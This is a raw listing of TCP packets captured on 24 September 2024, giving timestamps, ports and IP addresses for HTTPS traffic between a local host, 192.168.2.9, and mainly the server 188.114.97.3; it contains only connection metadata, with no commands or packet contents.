Sep 24, 2024 06:29:58.815841913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.815849066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.816014051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.816128016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.816143990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.816354990 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.816360950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.816512108 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.842192888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.842214108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.842361927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.842370033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.842674017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.842694998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.842731953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.842739105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.842777967 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.842777967 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.843028069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.843041897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.843128920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.843136072 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.843270063 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.843584061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.843600035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.844074011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.844079971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.844294071 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.861104965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.861124039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.861401081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.861407995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.861526966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.905041933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.905071020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.905309916 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.905319929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.905443907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.906208992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.906227112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.906405926 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.906414986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.906482935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.906673908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.906689882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.906832933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.906841040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.906902075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.933070898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933114052 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933202028 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.933216095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933228016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.933271885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.933382034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933398008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933465004 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.933473110 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933671951 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.933815956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933834076 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933885098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.933892012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.933919907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.933975935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.934237003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.934259892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.934309006 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.934317112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.934365034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.934365034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.951663017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.951687098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.951826096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.951854944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.951925039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.969903946 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:58.969938993 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:58.995588064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.995614052 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.995814085 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.995826960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.995893955 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.996691942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.996764898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.997183084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.997199059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.997277975 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.997286081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.997334957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.997561932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.997577906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.997659922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.997667074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.997808933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.023798943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.023821115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.023982048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.023993015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.024079084 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.024147987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.024167061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.024266958 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.024275064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.024348974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.024609089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.024626017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.024691105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.024698019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.024744034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.041752100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.041778088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.041898012 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.041920900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.041984081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.078145981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.078181982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.078336954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.078352928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.078502893 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.087131977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.087156057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.087258101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.087268114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.087337971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.087630987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.087647915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.087697983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.087707043 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.087743044 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.087783098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.088068962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.088085890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.088155031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.088174105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.088269949 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.114371061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.114398003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.114563942 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.114578009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.114665031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.114767075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.114790916 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.114856958 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.114873886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.114931107 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.115185976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.115205050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.115377903 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.115391016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.115452051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.132345915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.132368088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.132592916 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.132606983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.132672071 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.168725014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.168751955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.168922901 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.168950081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.169013977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.177653074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.177808046 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.383414984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.384844065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:59.803508997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:59.803704023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.613601923 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.613635063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.613648891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.613734961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.613744020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.613768101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.613863945 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.613863945 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.613872051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.613893032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.613905907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614026070 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.614036083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614051104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614073992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614078045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614227057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.614233971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614264011 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614315987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.614325047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614439011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.614449978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614480019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614521980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.614531994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.614599943 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.614700079 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.614700079 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:00.819413900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:00.819725990 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.172702074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.172718048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.172729969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.172854900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.172863007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.172873974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.172945023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.172950983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.172966957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.172977924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173101902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173108101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173125982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173142910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173147917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173264027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173289061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173310995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173316002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173367023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173463106 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173470974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173507929 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173516035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173592091 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173605919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173667908 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173681021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173707962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173811913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173811913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173820019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173855066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173882961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173893929 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173907995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.173988104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.173998117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174010038 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174050093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174058914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174130917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174141884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174163103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174179077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174206972 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174216032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174252033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174269915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174284935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174318075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174338102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174355984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174360991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174375057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174407959 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174407959 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174434900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174459934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174459934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174472094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174527884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174527884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174541950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174556971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174582958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174609900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174618006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174645901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174658060 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174658060 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174668074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174680948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174707890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174726009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174772024 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174818039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174849033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174855947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174876928 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174880028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174947977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174947977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.174948931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.174959898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175008059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175050020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175050020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175061941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175077915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175077915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175136089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175146103 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175146103 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175156116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175163031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175221920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175249100 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175261974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175275087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175317049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175329924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175332069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175374985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175393105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175403118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175441027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175450087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175450087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175458908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175489902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175506115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175509930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175509930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175523043 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175561905 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175570011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175570011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175580025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175597906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175607920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175649881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175656080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175656080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175672054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175687075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175731897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175735950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175735950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175745010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175760984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175806999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175806999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175815105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.175826073 CEST	443	49748	188.114.97.3	192.168.2.9
